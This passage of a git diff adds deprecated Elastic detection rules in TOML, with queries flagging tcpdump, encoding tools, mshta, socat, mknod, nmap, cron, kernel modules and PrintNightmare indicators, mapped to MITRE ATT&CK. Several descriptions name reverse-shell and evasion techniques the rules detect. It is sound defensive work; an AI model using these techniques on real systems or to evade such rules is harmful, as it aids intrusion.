Tcpdump" +risk_score = 21 +rule_id = "7a137d76-ce3d-48e2-947d-2747796a78c0" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:tcpdump +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1040" +name = "Network Sniffing" +reference = "https://attack.mitre.org/techniques/T1040/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1040" +name = "Network Sniffing" +reference = "https://attack.mitre.org/techniques/T1040/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/_deprecated/defense_evasion_base64_encoding_or_decoding_activity.toml b/rules/_deprecated/defense_evasion_base64_encoding_or_decoding_activity.toml new file mode 100644 index 000000000..9f5aab089 --- /dev/null +++ b/rules/_deprecated/defense_evasion_base64_encoding_or_decoding_activity.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/04/17" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = "Adversaries may encode/decode data in an attempt to evade detection by host- or network-based security controls." +false_positives = [ + """ + Automated tools such as Jenkins may encode or decode files as part of their normal behavior. These events can be + filtered by the process executable or username values. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Base64 Encoding/Decoding Activity" +risk_score = 21 +rule_id = "97f22dab-84e8-409d-955e-dacd1d31670b" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:(base64 or base64plain or base64url or base64mime or base64pem) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1140" +name = "Deobfuscate/Decode Files or Information" +reference = "https://attack.mitre.org/techniques/T1140/" + +[[rule.threat.technique]] +id = "T1027" +name = "Obfuscated Files or Information" +reference = "https://attack.mitre.org/techniques/T1027/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/_deprecated/defense_evasion_execution_via_trusted_developer_utilities.toml b/rules/_deprecated/defense_evasion_execution_via_trusted_developer_utilities.toml new file mode 100644 index 000000000..2aa22c1c2 --- /dev/null +++ b/rules/_deprecated/defense_evasion_execution_via_trusted_developer_utilities.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = "Identifies possibly suspicious activity using trusted Windows developer activity." +false_positives = ["These programs may be used by Windows developers but use by non-engineers is unusual."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Trusted Developer Application Usage" +risk_score = 21 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae1" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(MSBuild.exe or msxsl.exe) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +name = "Trusted Developer Utilities Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1127/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/_deprecated/defense_evasion_hex_encoding_or_decoding_activity.toml b/rules/_deprecated/defense_evasion_hex_encoding_or_decoding_activity.toml new file mode 100644 index 000000000..e5081e34d --- /dev/null +++ b/rules/_deprecated/defense_evasion_hex_encoding_or_decoding_activity.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/04/17" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = "Adversaries may encode/decode data in an attempt to evade detection by host- or network-based security controls." +false_positives = [ + """ + Automated tools such as Jenkins may encode or decode files as part of their normal behavior. These events can be + filtered by the process executable or username values. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Hex Encoding/Decoding Activity" +risk_score = 21 +rule_id = "a9198571-b135-4a76-b055-e3e5a476fd83" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(hexdump or od or xxd) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1140" +name = "Deobfuscate/Decode Files or Information" +reference = "https://attack.mitre.org/techniques/T1140/" + +[[rule.threat.technique]] +id = "T1027" +name = "Obfuscated Files or Information" +reference = "https://attack.mitre.org/techniques/T1027/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/_deprecated/defense_evasion_mshta_making_network_connections.toml b/rules/_deprecated/defense_evasion_mshta_making_network_connections.toml new file mode 100644 index 000000000..4575529cb --- /dev/null +++ b/rules/_deprecated/defense_evasion_mshta_making_network_connections.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2020/10/30" +maturity = "deprecated" +updated_date = "2020/10/30" + +[rule] +author = ["Elastic"] +description = """ +Identifies mshta.exe making a network connection. This may indicate adversarial activity, as mshta.exe is often +leveraged by adversaries to execute malicious scripts and evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Connection via Mshta" +references = ["https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"] +risk_score = 47 +rule_id = "a4ec1382-4557-452b-89ba-e413b22ed4b8" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +/* duplicate of Mshta Making Network Connections - c2d90150-0133-451c-a783-533e736c12d7 */ + +sequence by process.entity_id + [process where process.name : "mshta.exe" and event.type == "start"] + [network where process.name : "mshta.exe"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.005" +name = "Mshta" +reference = "https://attack.mitre.org/techniques/T1218/005/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/_deprecated/discovery_process_discovery_via_tasklist_command.toml b/rules/_deprecated/discovery_process_discovery_via_tasklist_command.toml new file mode 100644 index 000000000..7225bf0c5 --- /dev/null +++ b/rules/_deprecated/discovery_process_discovery_via_tasklist_command.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = "Adversaries may attempt to get information about running processes on a system." +false_positives = [ + """ + Administrators may use the tasklist command to display a list of currently running processes. By itself, it does not + indicate malicious activity. After obtaining a foothold, it's possible adversaries may use discovery commands like + tasklist to get information about running processes. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Process Discovery via Tasklist" +risk_score = 21 +rule_id = "cc16f774-59f9-462d-8b98-d27ccd4519ec" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:tasklist.exe +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1057" +name = "Process Discovery" +reference = "https://attack.mitre.org/techniques/T1057/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" diff --git a/rules/_deprecated/discovery_query_registry_via_reg.toml b/rules/_deprecated/discovery_query_registry_via_reg.toml new file mode 100644 index 000000000..de745caf0 --- /dev/null +++ b/rules/_deprecated/discovery_query_registry_via_reg.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/12/04" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +Enumeration or discovery of the Windows registry using reg.exe. This information can be used to perform follow-on +activities. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Query Registry via reg.exe" +risk_score = 21 +rule_id = "68113fdc-3105-4cdd-85bb-e643c416ef0b" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "reg.exe" or process.pe.original_file_name == "reg.exe") and + process.args == "query" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1012" +name = "Query Registry" +reference = "https://attack.mitre.org/techniques/T1012/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/_deprecated/discovery_whoami_commmand.toml b/rules/_deprecated/discovery_whoami_commmand.toml new file mode 100644 index 000000000..07dc8cc23 --- /dev/null +++ b/rules/_deprecated/discovery_whoami_commmand.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +The whoami application was executed on a Linux host. This is often used by tools and persistence mechanisms to test for +privileged access. +""" +false_positives = [ + """ + Security testing tools and frameworks may run this command. Some normal use of this command may originate from + automation tools and frameworks. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "User Discovery via Whoami" +risk_score = 21 +rule_id = "120559c6-5e24-49f4-9e30-8ffe697df6b9" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:whoami +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1033" +name = "System Owner/User Discovery" +reference = "https://attack.mitre.org/techniques/T1033/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/_deprecated/execution_command_shell_started_by_powershell.toml b/rules/_deprecated/execution_command_shell_started_by_powershell.toml new file mode 100644 index 000000000..00a3508af --- /dev/null +++ b/rules/_deprecated/execution_command_shell_started_by_powershell.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = "Identifies a suspicious parent child process relationship with cmd.exe descending from PowerShell.exe." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell spawning Cmd" +risk_score = 21 +rule_id = "0f616aee-8161-4120-857e-742366f5eeb3" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.parent.name:powershell.exe and process.name:cmd.exe +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.001" +name = "PowerShell" +reference = "https://attack.mitre.org/techniques/T1059/001/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/_deprecated/execution_via_net_com_assemblies.toml b/rules/_deprecated/execution_via_net_com_assemblies.toml new file mode 100644 index 000000000..394a557b2 --- /dev/null +++ b/rules/_deprecated/execution_via_net_com_assemblies.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/03/25" +deprecation_date = "2021/03/17" +maturity = "deprecated" +updated_date = "2021/03/17" + +[rule] +author = ["Elastic"] +description = """ +RegSvcs.exe and RegAsm.exe are Windows command line utilities that are used to register .NET Component Object Model +(COM) assemblies. Adversaries can use RegSvcs.exe and RegAsm.exe to proxy execution of code through a trusted Windows +utility. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Execution via Regsvcs/Regasm" +risk_score = 21 +rule_id = "47f09343-8d1f-4bb5-8bb0-00c9d18f5010" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(RegAsm.exe or RegSvcs.exe) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.009" +name = "Regsvcs/Regasm" +reference = "https://attack.mitre.org/techniques/T1218/009/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/_deprecated/exfiltration_rds_snapshot_export.toml b/rules/_deprecated/exfiltration_rds_snapshot_export.toml new file mode 100644 index 000000000..ba289d37a --- /dev/null +++ b/rules/_deprecated/exfiltration_rds_snapshot_export.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2021/06/06" +deprecation_date = "2021/08/02" +integration = "aws" +maturity = "deprecated" +updated_date = "2021/08/02" + +[rule] +author = ["Elastic"] +description = "Identifies the export of an Amazon Relational Database Service (RDS) Aurora database snapshot." +false_positives = [ + """ + Exporting snapshots may be done by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Snapshot exports from unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Snapshot Export" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StartExportTask.html"] +risk_score = 21 +rule_id = "119c8877-8613-416d-a98a-96b6664ee73a5" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:StartExportTask and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Exfiltration" +id = "TA0010" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/_deprecated/initial_access_rdp_remote_desktop_protocol_to_the_internet.toml b/rules/_deprecated/initial_access_rdp_remote_desktop_protocol_to_the_internet.toml new file mode 100644 index 000000000..c22bb27e9 --- /dev/null +++ b/rules/_deprecated/initial_access_rdp_remote_desktop_protocol_to_the_internet.toml @@ -0,0 +1,81 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +This rule detects network events that may indicate the use of RDP traffic to the Internet. RDP is commonly used by +system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be +directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or +backdoor vector. +""" +false_positives = [ + """ + RDP connections may be made directly to Internet destinations in order to access Windows cloud server instances but + such connections are usually made only by engineers. In such cases, only RDP gateways, bastions or jump servers may + be expected Internet destinations and can be exempted from this rule. RDP may be required by some work-flows such as + remote access and support for specialized software products and servers. Such work-flows are usually known and not + unexpected. Usage that is unfamiliar to server or network owners can be unexpected and suspicious. + """, +] +from = "now-9m" +index = ["filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "RDP (Remote Desktop Protocol) to the Internet" +risk_score = 21 +rule_id = "e56993d2-759c-4120-984c-9ec9bb940fd5" +severity = "low" +tags = ["Elastic", "Host", "Network", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.transport:tcp and (destination.port:3389 or event.dataset:zeek.rdp) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1048" +name = "Exfiltration Over Alternative Protocol" +reference = "https://attack.mitre.org/techniques/T1048/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/_deprecated/linux_mknod_activity.toml b/rules/_deprecated/linux_mknod_activity.toml new file mode 100644 index 000000000..14015e5d6 --- /dev/null +++ b/rules/_deprecated/linux_mknod_activity.toml @@ -0,0 +1,37 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +The Linux mknod program is sometimes used in the command payload of a remote command injection (RCI) and other exploits. +It is used to export a command shell when the traditional version of netcat is not available to the payload. +""" +false_positives = [ + """ + Mknod is a Linux system program. Some normal use of this program, at varying levels of frequency, may originate from + scripts, automation tools, and frameworks. Usage by web servers is more likely to be suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Mknod Process Activity" +references = [ + "https://web.archive.org/web/20191218024607/https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/", +] +risk_score = 21 +rule_id = "61c31c14-507f-4627-8c31-072556b89a9c" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:mknod +''' + diff --git a/rules/_deprecated/linux_nmap_activity.toml b/rules/_deprecated/linux_nmap_activity.toml new file mode 100644 index 000000000..19f1a30e2 --- /dev/null +++ b/rules/_deprecated/linux_nmap_activity.toml @@ -0,0 +1,37 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +Nmap was executed on a Linux host. Nmap is a FOSS tool for network scanning and security testing. It can map and +discover networks, and identify listening services and operating systems. It is sometimes used to gather information in +support of exploitation, execution or lateral movement. +""" +false_positives = [ + """ + Security testing tools and frameworks may run `Nmap` in the course of security auditing. Some normal use of this + command may originate from security engineers and network or server administrators. Use of nmap by ordinary users is + uncommon. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Nmap Process Activity" +references = ["https://en.wikipedia.org/wiki/Nmap"] +risk_score = 21 +rule_id = "c87fca17-b3a9-4e83-b545-f30746c53920" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:nmap +''' + diff --git a/rules/_deprecated/linux_socat_activity.toml b/rules/_deprecated/linux_socat_activity.toml new file mode 100644 index 000000000..4713783d0 --- /dev/null +++ b/rules/_deprecated/linux_socat_activity.toml @@ -0,0 +1,36 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +A Socat process is running on a Linux host. Socat is often used as a persistence mechanism by exporting a reverse shell, +or by serving a shell on a listening port. Socat is also sometimes used for lateral movement. +""" +false_positives = [ + """ + Socat is a dual-use tool that can be used for benign or malicious activity. Some normal use of this program, at + varying levels of frequency, may originate from scripts, automation tools, and frameworks. Usage by web servers is + more likely to be suspicious. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Socat Process Activity" +references = ["https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-2-using-socat"] +risk_score = 47 +rule_id = "cd4d5754-07e1-41d4-b9a5-ef4ea6a0a126" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:socat and not process.args:-V +''' + diff --git a/rules/_deprecated/persistence_cron_jobs_creation_and_runtime.toml b/rules/_deprecated/persistence_cron_jobs_creation_and_runtime.toml new file mode 100644 index 000000000..81721118c --- /dev/null +++ b/rules/_deprecated/persistence_cron_jobs_creation_and_runtime.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/01/15" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or execution of a cron job. Adversaries may abuse cron jobs to perform task scheduling for +initial or recurring execution of malicious code. +""" +false_positives = ["Legitimate software or scripts using cron jobs for recurring tasks."] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Persistence via Cron Job" +references = ["https://archive.f-secure.com/weblog/archives/00002576.html", "https://ss64.com/osx/crontab.html"] +risk_score = 21 +rule_id = "b1c14366-f4f8-49a0-bcbb-51d2de8b0bb8" +severity = "low" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started or info) and + not user.name:root and + ((process.name:crontab and not process.args:("-l" or "-r" or "-e" or "-help" or "-h")) or + (process.parent.name:cron and not process.name:"running job" and + not process.executable:(/Applications/Docker.app/Contents/Resources/bin/docker or + /usr/bin/killall or + /usr/sbin/sendmail or + /usr/bin/env or + /usr/bin/timeshift or + /bin/rm))) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" +[[rule.threat.technique.subtechnique]] +id = "T1053.003" +name = "Cron" +reference = "https://attack.mitre.org/techniques/T1053/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/_deprecated/persistence_kernel_module_activity.toml b/rules/_deprecated/persistence_kernel_module_activity.toml new file mode 100644 index 000000000..6d0d0bb53 --- /dev/null +++ b/rules/_deprecated/persistence_kernel_module_activity.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/02/18" +deprecation_date = "2021/04/15" +maturity = "deprecated" +updated_date = "2021/04/15" + +[rule] +author = ["Elastic"] +description = "Identifies loadable kernel module errors, which are often indicative of potential persistence attempts." +false_positives = [ + """ + Security tools and device drivers may run these programs in order to load legitimate kernel modules. Use of these + programs by ordinary users is uncommon. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Persistence via Kernel Module Modification" +references = [ + "https://www.hackers-arise.com/single-post/2017/11/03/Linux-for-Hackers-Part-10-Loadable-Kernel-Modules-LKM", +] +risk_score = 21 +rule_id = "81cc58f5-8062-49a2-ba84-5cc4b4d31c40" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:(insmod or kmod or modprobe or rmod) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.006" +name = "Kernel Modules and Extensions" +reference = "https://attack.mitre.org/techniques/T1547/006/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/_deprecated/privilege_escalation_printspooler_malicious_driver_file_changes.toml b/rules/_deprecated/privilege_escalation_printspooler_malicious_driver_file_changes.toml new file mode 100644 index 000000000..dc7089383 --- /dev/null +++ b/rules/_deprecated/privilege_escalation_printspooler_malicious_driver_file_changes.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/07/06" +deprecation_date = "2022/03/16" +maturity = "deprecated" +updated_date = "2022/03/16" + +[rule] +author = ["Elastic"] +description = """ +Detects the creation or modification of a print driver with an unusual file name. This may indicate attempts to exploit +privilege escalation vulnerabilities related to the Print Spooler service. For more information refer to CVE-2021-34527 +and verify that the impacted system is investigated. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential PrintNightmare File Modification" +references = [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/afwu/PrintNightmare", +] +risk_score = 73 +rule_id = "5e87f165-45c2-4b80-bfa5-52822552c997" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +/* This rule is compatible with both Sysmon and Elastic Endpoint */ + +file where process.name : "spoolsv.exe" and + file.name : ("kernelbase.dll", "ntdll.dll", "kernel32.dll", "winhttp.dll", "user32.dll") and + file.path : "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +reference = "https://attack.mitre.org/techniques/T1068/" +name = "Exploitation for Privilege Escalation" + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" + diff --git a/rules/_deprecated/privilege_escalation_printspooler_malicious_registry_modification.toml b/rules/_deprecated/privilege_escalation_printspooler_malicious_registry_modification.toml new file mode 100644 index 000000000..4fb890f50 --- /dev/null +++ b/rules/_deprecated/privilege_escalation_printspooler_malicious_registry_modification.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2021/07/06" +deprecation_date = "2022/03/16" +maturity = "deprecated" +updated_date = "2022/03/16" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service. For more +information refer to CVE-2021-34527 and verify that the impacted system is investigated. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential PrintNightmare Exploit Registry Modification" +references = [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/afwu/PrintNightmare", +] +risk_score = 73 +rule_id = "6506c9fd-229e-4722-8f0f-69be759afd2a" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +/* This rule is not compatible with Sysmon due to schema issues */ + +registry where process.name : "spoolsv.exe" and + (registry.path : "HKLM\\SYSTEM\\ControlSet*\\Control\\Print\\Environments\\Windows*\\Drivers\\Version-3\\mimikatz*\\Data File" or + (registry.path : "HKLM\\SYSTEM\\ControlSet*\\Control\\Print\\Environments\\Windows*\\Drivers\\Version-3\\*\\Configuration File" and + registry.data.strings : ("kernelbase.dll", "ntdll.dll", "kernel32.dll", "winhttp.dll", "user32.dll"))) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Exploitation for Privilege Escalation" +id = "T1068" +reference = "https://attack.mitre.org/techniques/T1068/" + + +[rule.threat.tactic] +name = "Privilege Escalation" +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" diff --git a/rules/_deprecated/privilege_escalation_setgid_bit_set_via_chmod.toml b/rules/_deprecated/privilege_escalation_setgid_bit_set_via_chmod.toml new file mode 100644 index 